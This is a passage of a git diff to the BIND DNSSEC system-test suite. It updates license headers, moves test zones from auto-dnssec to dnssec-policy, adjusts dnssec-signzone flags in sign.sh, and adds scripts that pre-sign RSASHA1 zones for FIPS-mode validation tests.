index 862dadba98..f6c4fabdd3 100644
--- a/bin/tests/system/dnssec/ns3/rsasha512.example.db.in
+++ b/bin/tests/system/dnssec/ns3/rsasha512.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/secure.below-cname.example.db.in b/bin/tests/system/dnssec/ns3/secure.below-cname.example.db.in
index 86552149e1..14971bd7a6 100644
--- a/bin/tests/system/dnssec/ns3/secure.below-cname.example.db.in
+++ b/bin/tests/system/dnssec/ns3/secure.below-cname.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/secure.example.db.in b/bin/tests/system/dnssec/ns3/secure.example.db.in
index 27f2b2401c..ec39308e9a 100644
--- a/bin/tests/system/dnssec/ns3/secure.example.db.in
+++ b/bin/tests/system/dnssec/ns3/secure.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/secure.nsec3.example.db.in b/bin/tests/system/dnssec/ns3/secure.nsec3.example.db.in
index 3f10748395..15fe621fd0 100644
--- a/bin/tests/system/dnssec/ns3/secure.nsec3.example.db.in
+++ b/bin/tests/system/dnssec/ns3/secure.nsec3.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/secure.optout.example.db.in b/bin/tests/system/dnssec/ns3/secure.optout.example.db.in
index 3f10748395..15fe621fd0 100644
--- a/bin/tests/system/dnssec/ns3/secure.optout.example.db.in
+++ b/bin/tests/system/dnssec/ns3/secure.optout.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/siginterval.example.db.in b/bin/tests/system/dnssec/ns3/siginterval.example.db.in
index 703a306346..ec6603a91f 100644
--- a/bin/tests/system/dnssec/ns3/siginterval.example.db.in
+++ b/bin/tests/system/dnssec/ns3/siginterval.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dnssec/ns3/siginterval1.conf b/bin/tests/system/dnssec/ns3/siginterval1.conf
index 83753efd60..1d82f680d1 100644
--- a/bin/tests/system/dnssec/ns3/siginterval1.conf
+++ b/bin/tests/system/dnssec/ns3/siginterval1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -12,8 +14,6 @@
 zone "siginterval.example" {
 	type primary;
 	allow-update { any; };
-	sig-validity-interval 1 23;
-	dnskey-sig-validity 90;
-	auto-dnssec maintain;
+	dnssec-policy siginterval1;
 	file "siginterval.example.db";
 };
diff --git a/bin/tests/system/dnssec/ns3/siginterval2.conf b/bin/tests/system/dnssec/ns3/siginterval2.conf
index d2bd0d59c6..fa9c6267fe 100644
--- a/bin/tests/system/dnssec/ns3/siginterval2.conf
+++ b/bin/tests/system/dnssec/ns3/siginterval2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -12,8 +14,6 @@
 zone "siginterval.example" {
 	type primary;
 	allow-update { any; };
-	sig-validity-interval 35 28;
-	dnskey-sig-validity 90;
-	auto-dnssec maintain;
+	dnssec-policy siginterval2;
 	file "siginterval.example.db";
 };
diff --git a/bin/tests/system/dnssec/ns3/sign-rsasha1-1024.sh b/bin/tests/system/dnssec/ns3/sign-rsasha1-1024.sh
new file mode 100644
index 0000000000..59d152926f
--- /dev/null
+++ b/bin/tests/system/dnssec/ns3/sign-rsasha1-1024.sh
@@ -0,0 +1,27 @@
+#!/bin/sh -ef
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# RSASHA1 is validate only in FIPS mode so we need to have a pre-signed
+# version of the zone to test with in FIPS mode.  This requires a non
+# FIPS build which supports RSASHA1 to be used to generate it.
+
+. ../../conf.sh
+
+zone=rsasha1-1024.example
+k1=$("$KEYGEN" -a rsasha1 -b 1024 $zone)
+k2=$("$KEYGEN" -a rsasha1 -b 1024 -f KSK $zone)
+cat $zone.db.in $k1.key $k2.key > $zone.tmp
+# use maximum expirey period (-e 2^31-1-3600)
+# use output format full for easy extraction of KSK (-O full)
+"$SIGNER" -e +2147480047 -o $zone -f $zone.db -O full $zone.tmp
+rm -f $k1.key $k1.private $k2.key $k2.private $zone.tmp
diff --git a/bin/tests/system/dnssec/ns3/sign-rsasha1.sh b/bin/tests/system/dnssec/ns3/sign-rsasha1.sh
new file mode 100644
index 0000000000..3c35fa07f9
--- /dev/null
+++ b/bin/tests/system/dnssec/ns3/sign-rsasha1.sh
@@ -0,0 +1,27 @@
+#!/bin/sh -ef
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# RSASHA1 is validate only in FIPS mode so we need to have a pre-signed
+# version of the zone to test with in FIPS mode.  This requires a non
+# FIPS build which supports RSASHA1 to be used to generate it.
+
+. ../../conf.sh
+
+zone=rsasha1.example
+k1=$("$KEYGEN" -a rsasha1 $zone)
+k2=$("$KEYGEN" -a rsasha1 -f KSK $zone)
+cat $zone.db.in $k1.key $k2.key > $zone.tmp
+# use maximum expirey period (-e 2^31-1-3600)
+# use output format full for easy extraction of KSK (-O full)
+"$SIGNER" +2147480047 -o $zone -f $zone.db -O full $zone.tmp
+rm -f $k1.key $k1.private $k2.key $k2.private $zone.tmp
diff --git a/bin/tests/system/dnssec/ns3/sign.sh b/bin/tests/system/dnssec/ns3/sign.sh
index c32e462a11..89fbe25b7f 100644
--- a/bin/tests/system/dnssec/ns3/sign.sh
+++ b/bin/tests/system/dnssec/ns3/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -49,7 +51,7 @@ do
 
 	keyname4=$("$KEYGEN" -f KSK -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
 	cat "$infile" "$keyname4.key" > "$zonefile"
-	"$SIGNER" -z -P -3 - -o "$zone" -O full -f ${zonefile}.tmp "$zonefile" > /dev/null
+	"$SIGNER" -z -3 - -o "$zone" -O full -f ${zonefile}.tmp "$zonefile" > /dev/null
 	awk '$4 == "DNSKEY" { $7 = 255 } $4 == "RRSIG" { $6 = 255 } { print }' ${zonefile}.tmp > ${zonefile}.signed
 
 	# Make trusted-keys and managed keys conf sections for ns8.
@@ -86,7 +88,7 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$cnameandkey.key" "$dnameandkey.key" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -z -o "$zone" "$zonefile" > /dev/null
 
 zone=bogus.example.
 infile=bogus.example.db.in
@@ -96,7 +98,7 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -z -o "$zone" "$zonefile" > /dev/null
 
 zone=dynamic.example.
 infile=dynamic.example.db.in
@@ -107,7 +109,7 @@ keyname2=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone -f KS
 
 cat "$infile" "$keyname1.key" "$keyname2.key" > "$zonefile"
 
-"$SIGNER" -P -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -o "$zone" "$zonefile" > /dev/null
 
 zone=keyless.example.
 infile=generic.example.db.in
@@ -117,14 +119,14 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -z -o "$zone" "$zonefile" > /dev/null
 
-# Change the signer field of the a.b.keyless.example SIG A
-# to point to a provably nonexistent KEY record.
+# Change the signer field of the a.b.keyless.example RRSIG A
+# to point to a provably nonexistent DNSKEY record.
 zonefiletmp=$(mktemp "$zonefile.XXXXXX") || exit 1
 mv "$zonefile.signed" "$zonefiletmp"
 <"$zonefiletmp" "$PERL" -p -e 's/ keyless.example/ b.keyless.example/
-    if /^a.b.keyless.example/../NXT/;' > "$zonefile.signed"
+    if /^a.b.keyless.example/../A RRSIG NSEC/;' > "$zonefile.signed"
 rm -f "$zonefiletmp"
 
 #
@@ -138,7 +140,7 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -z -o "$zone" "$zonefile" > /dev/null
 
 #
 #  NSEC3/NSEC3 test zone
@@ -151,7 +153,7 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -3 - -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -z -3 - -o "$zone" "$zonefile" > /dev/null
 
 #
 #  OPTOUT/NSEC3 test zone
@@ -164,7 +166,7 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -3 - -A -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -z -3 - -A -o "$zone" "$zonefile" > /dev/null
 
 #
 # A nsec3 zone (non-optout).
@@ -177,7 +179,7 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -g -3 - -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -z -g -3 - -o "$zone" "$zonefile" > /dev/null
 
 #
 #  OPTOUT/NSEC test zone
@@ -190,7 +192,7 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -z -o "$zone" "$zonefile" > /dev/null
 
 #
 #  OPTOUT/NSEC3 test zone
@@ -203,7 +205,7 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -3 - -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -z -3 - -o "$zone" "$zonefile" > /dev/null
 
 #
 #  OPTOUT/OPTOUT test zone
@@ -216,7 +218,7 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -3 - -A -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -z -3 - -A -o "$zone" "$zonefile" > /dev/null
 
 #
 # A optout nsec3 zone.
@@ -229,7 +231,7 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -g -3 - -A -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -z -g -3 - -A -o "$zone" "$zonefile" > /dev/null
 
 #
 # A nsec3 zone (non-optout) with unknown nsec3 hash algorithm (-U).
@@ -242,7 +244,7 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -3 - -U -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -z -3 - -PU -o "$zone" "$zonefile" > /dev/null
 
 #
 # A optout nsec3 zone with a unknown nsec3 hash algorithm (-U).
@@ -255,7 +257,7 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -3 - -U -A -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -z -3 - -PU -A -o "$zone" "$zonefile" > /dev/null
 
 #
 # A zone that is signed with an unknown DNSKEY algorithm.
@@ -269,11 +271,11 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -3 - -o "$zone" -O full -f ${zonefile}.tmp "$zonefile" > /dev/null
+"$SIGNER" -z -3 - -o "$zone" -O full -f ${zonefile}.tmp "$zonefile" > /dev/null
 
 awk '$4 == "DNSKEY" { $7 = 100 } $4 == "RRSIG" { $6 = 100 } { print }' ${zonefile}.tmp > ${zonefile}.signed
 
-DSFILE="dsset-${zone}${TP}"
+DSFILE="dsset-${zone}."
 $DSFROMKEY -A -f ${zonefile}.signed "$zone" > "$DSFILE"
 
 #
@@ -288,11 +290,11 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -3 - -o "$zone" -O full -f ${zonefile}.tmp "$zonefile" > /dev/null
+"$SIGNER" -z -3 - -o "$zone" -O full -f ${zonefile}.tmp "$zonefile" > /dev/null
 
 awk '$4 == "DNSKEY" { $7 = 255 } $4 == "RRSIG" { $6 = 255 } { print }' ${zonefile}.tmp > ${zonefile}.signed
 
-DSFILE="dsset-${zone}${TP}"
+DSFILE="dsset-${zone}."
 $DSFROMKEY -A -f ${zonefile}.signed "$zone" > "$DSFILE"
 
 #
@@ -308,7 +310,7 @@ zsk=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone")
 
 cat "$infile" "$ksk.key" "$zsk.key" unsupported-algorithm.key > "$zonefile"
 
-"$SIGNER" -P -3 - -o "$zone" -f ${zonefile}.signed "$zonefile" > /dev/null
+"$SIGNER" -3 - -o "$zone" -f ${zonefile}.signed "$zonefile" > /dev/null
 
 #
 # A zone with a unknown DNSKEY algorithm + unknown NSEC3 hash algorithm (-U).
@@ -322,11 +324,11 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -3 - -o "$zone" -U -O full -f ${zonefile}.tmp "$zonefile" > /dev/null
+"$SIGNER" -z -3 - -o "$zone" -PU -O full -f ${zonefile}.tmp "$zonefile" > /dev/null
 
 awk '$4 == "DNSKEY" { $7 = 100; print } $4 == "RRSIG" { $6 = 100; print } { print }' ${zonefile}.tmp > ${zonefile}.signed
 
-DSFILE="dsset-${zone}${TP}"
+DSFILE="dsset-${zone}."
 $DSFROMKEY -A -f ${zonefile}.signed "$zone" > "$DSFILE"
 
 #
@@ -340,17 +342,18 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 
 cat "$infile" "$keyname.key" > "$zonefile"
 
-"$SIGNER" -P -o "$zone" "$zonefile" > /dev/null
-mv "$zonefile".signed "$zonefile"
-"$SIGNER" -P -u3 - -o "$zone" "$zonefile" > /dev/null
-mv "$zonefile".signed "$zonefile"
-"$SIGNER" -P -u3 AAAA -o "$zone" "$zonefile" > /dev/null
-mv "$zonefile".signed "$zonefile"
-"$SIGNER" -P -u3 BBBB -o "$zone" "$zonefile" > /dev/null
-mv "$zonefile".signed "$zonefile"
-"$SIGNER" -P -u3 CCCC -o "$zone" "$zonefile" > /dev/null
-mv "$zonefile".signed "$zonefile"
-"$SIGNER" -P -u3 DDDD -o "$zone" "$zonefile" > /dev/null
+"$SIGNER" -z -O full -o "$zone" "$zonefile" > /dev/null
+awk '$4 == "NSEC" || ( $4 == "RRSIG" && $5 == "NSEC" ) { print }' "$zonefile".signed > NSEC
+"$SIGNER" -z -O full -u3 - -o "$zone" "$zonefile" > /dev/null
+awk '$4 == "NSEC3" || ( $4 == "RRSIG" && $5 == "NSEC3" ) { print }' "$zonefile".signed > NSEC3
+"$SIGNER" -z -O full -u3 AAAA -o "$zone" "$zonefile" > /dev/null
+awk '$4 == "NSEC3" || ( $4 == "RRSIG" && $5 == "NSEC3" ) { print }' "$zonefile".signed >> NSEC3
+"$SIGNER" -z -O full -u3 BBBB -o "$zone" "$zonefile" > /dev/null
+awk '$4 == "NSEC3" || ( $4 == "RRSIG" && $5 == "NSEC3" ) { print }' "$zonefile".signed >> NSEC3
+"$SIGNER" -z -O full -u3 CCCC -o "$zone" "$zonefile" > /dev/null
+awk '$4 == "NSEC3" || ( $4 == "RRSIG" && $5 == "NSEC3" ) { print }' "$zonefile".signed >> NSEC3
+"$SIGNER" -z -O full -u3 DDDD -o "$zone" "$zonefile" > /dev/null
+cat NSEC NSEC3 >> "$zonefile".signed
 
 #
 # A RSASHA256 zone.
@@ -416,7 +419,7 @@ cat "$infile" "$kskname.key" "$zskname.key" > "$zonefile"
 "$SIGNER" -P -3 - -o "$zone" "$zonefile" > /dev/null
 
 #
-# A NSEC signed zone that will have auto-dnssec enabled and
+# A NSEC signed zone that will have dnssec-policy enabled and
 # extra keys not in the initial signed zone.
 #
 zone=auto-nsec.example.
@@ -425,13 +428,13 @@ zonefile=auto-nsec.example.db
 
 kskname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -fk "$zone")
 zskname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" "$zone")
-kskname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -fk "$zone")
-zskname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" "$zone")
+"$KEYGEN" -q -a "$ALTERNATIVE_ALGORITHM" -b "$ALTERNATIVE_BITS" -fk "$zone" > /dev/null
+"$KEYGEN" -q -a "$ALTERNATIVE_ALGORITHM" -b "$ALTERNATIVE_BITS" "$zone" > /dev/null
 cat "$infile" "$kskname.key" "$zskname.key" > "$zonefile"
 "$SIGNER" -P -o "$zone" "$zonefile" > /dev/null
 
 #
-# A NSEC3 signed zone that will have auto-dnssec enabled and
+# A NSEC3 signed zone that will have dnssec-policy enabled and
 # extra keys not in the initial signed zone.
 #
 zone=auto-nsec3.example.
@@ -440,8 +443,8 @@ zonefile=auto-nsec3.example.db
 
 kskname=$("$KEYGEN" -q -3 -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -fk "$zone")
 zskname=$("$KEYGEN" -q -3 -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" "$zone")
-kskname=$("$KEYGEN" -q -3 -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -fk "$zone")
-zskname=$("$KEYGEN" -q -3 -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" "$zone")
+"$KEYGEN" -q -a "$ALTERNATIVE_ALGORITHM" -b "$ALTERNATIVE_BITS" -fk "$zone" > /dev/null
+"$KEYGEN" -q -a "$ALTERNATIVE_ALGORITHM" -b "$ALTERNATIVE_BITS" "$zone" > /dev/null
 cat "$infile" "$kskname.key" "$zskname.key" > "$zonefile"
 "$SIGNER" -P -3 - -o "$zone" "$zonefile" > /dev/null
 
@@ -542,23 +545,6 @@ zskname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -f KSK "$zone"
 cp "$infile" "$zonefile"
 "$SIGNER" -P -S -o "$zone" "$zonefile" > /dev/null
 
-#
-# Zone with signatures about to expire, and dynamic, but configured
-# not to resign with 'auto-resign no;'
-#
-zone="nosign.example."
-infile="nosign.example.db.in"
-zonefile="nosign.example.db"
-signedfile="nosign.example.db.signed"
-kskname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" "$zone")
-zskname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -f KSK "$zone")
-cp "$infile" "$zonefile"
-"$SIGNER" -S -e "now+1mi" -o "$zone" "$zonefile" > /dev/null
-# preserve a normalized copy of the NS RRSIG for comparison later
-$CHECKZONE -D nosign.example nosign.example.db.signed 2>/dev/null | \
-        awk '$4 == "RRSIG" && $5 == "NS" {$2 = ""; print}' | \
-        sed 's/[ 	][ 	]*/ /g'> ../nosign.before
-
 #
 # An inline signing zone
 #
@@ -567,21 +553,7 @@ kskname=$("$KEYGEN" -q -3 -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -fk "$zone"
 zskname=$("$KEYGEN" -q -3 -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" "$zone")
 
 #
-# publish a new key while deactivating another key at the same time.
-#
-zone=publish-inactive.example
-infile=publish-inactive.example.db.in
-zonefile=publish-inactive.example.db
-now=$(date -u +%Y%m%d%H%M%S)
-kskname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -f KSK "$zone")
-kskname=$("$KEYGEN" -P "$now+90s" -A "$now+3600s" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -f KSK "$zone")
-kskname=$("$KEYGEN" -I "$now+90s" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -f KSK "$zone")
-zskname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" "$zone")
-cp "$infile" "$zonefile"
-"$SIGNER" -S -o "$zone" "$zonefile" > /dev/null
-
-#
-# A zone which will change its sig-validity-interval
+# A zone which will change its signatures-validity
 #
 zone=siginterval.example
 infile=siginterval.example.db.in
@@ -603,7 +575,7 @@ keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone "$zone
 cat "$infile" "$keyname.key" > "$zonefile"
 
 "$SIGNER" -P -o "$zone" "$zonefile" > /dev/null
-sed -e 's/bogus/badds/g' < dsset-bogus.example$TP > dsset-badds.example$TP
+sed -e 's/bogus/badds/g' < dsset-bogus.example. > dsset-badds.example.
 
 #
 # A zone with future signatures.
@@ -656,7 +628,7 @@ cat "$infile" "${kskname}.key" "${zskname}.key" >"$zonefile"
 "$SIGNER" -P -3 - -o "$zone" "$zonefile" > /dev/null
 
 #
-# A NSEC zone with occuded data at the delegation
+# A NSEC zone with occluded data at the delegation
 #
 zone=occluded.example
 infile=occluded.example.db.in
@@ -664,8 +636,25 @@ zonefile=occluded.example.db
 kskname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -fk "$zone")
 zskname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" "$zone")
 dnskeyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -fk "delegation.$zone")
-keyname=$("$KEYGEN" -q -a DH -b 1024 -n HOST -T KEY "delegation.$zone")
-$DSFROMKEY "$dnskeyname.key" > "dsset-delegation.${zone}$TP"
+keyname=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -n HOST -T KEY "delegation.$zone")
+$DSFROMKEY "$dnskeyname.key" > "dsset-delegation.${zone}."
 cat "$infile" "${kskname}.key" "${zskname}.key" "${keyname}.key" \
-    "${dnskeyname}.key" "dsset-delegation.${zone}$TP" >"$zonefile"
+    "${dnskeyname}.key" "dsset-delegation.${zone}." >"$zonefile"
 "$SIGNER" -P -o "$zone" "$zonefile" > /dev/null
+
+#
+# Pre-signed zone for FIPS validation of RSASHA1 signed zones
+# See sign-rsasha1.sh for how to regenerate rsasha1.example.db
+# with non-FIPS compliant instance.
+#
+# We only need to generate the dsset.
+#
+zone=rsasha1.example
+zonefile=rsasha1.example.db
+awk '$4 == "DNSKEY" && $5 == 257 { print }' "$zonefile" |
+$DSFROMKEY -f - "$zone" > "dsset-${zone}."
+
+zone=rsasha1-1024.example
+zonefile=rsasha1-1024.example.db
+awk '$4 == "DNSKEY" && $5 == 257 { print }' "$zonefile" |
+$DSFROMKEY -f - "$zone" > "dsset-${zone}."
diff --git a/bin/tests/system/dnssec/ns3/split-dnssec.example.db.in b/bin/tests/system/dnssec/ns3/split-dnssec.example.db.in
index 8761ebb017..55b38776da 100644
--- a/bin/tests/system/dnssec/ns3/split-dnssec.example.db.in
+++ b/bin/tests/system/dnssec/ns3/split-dnssec.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
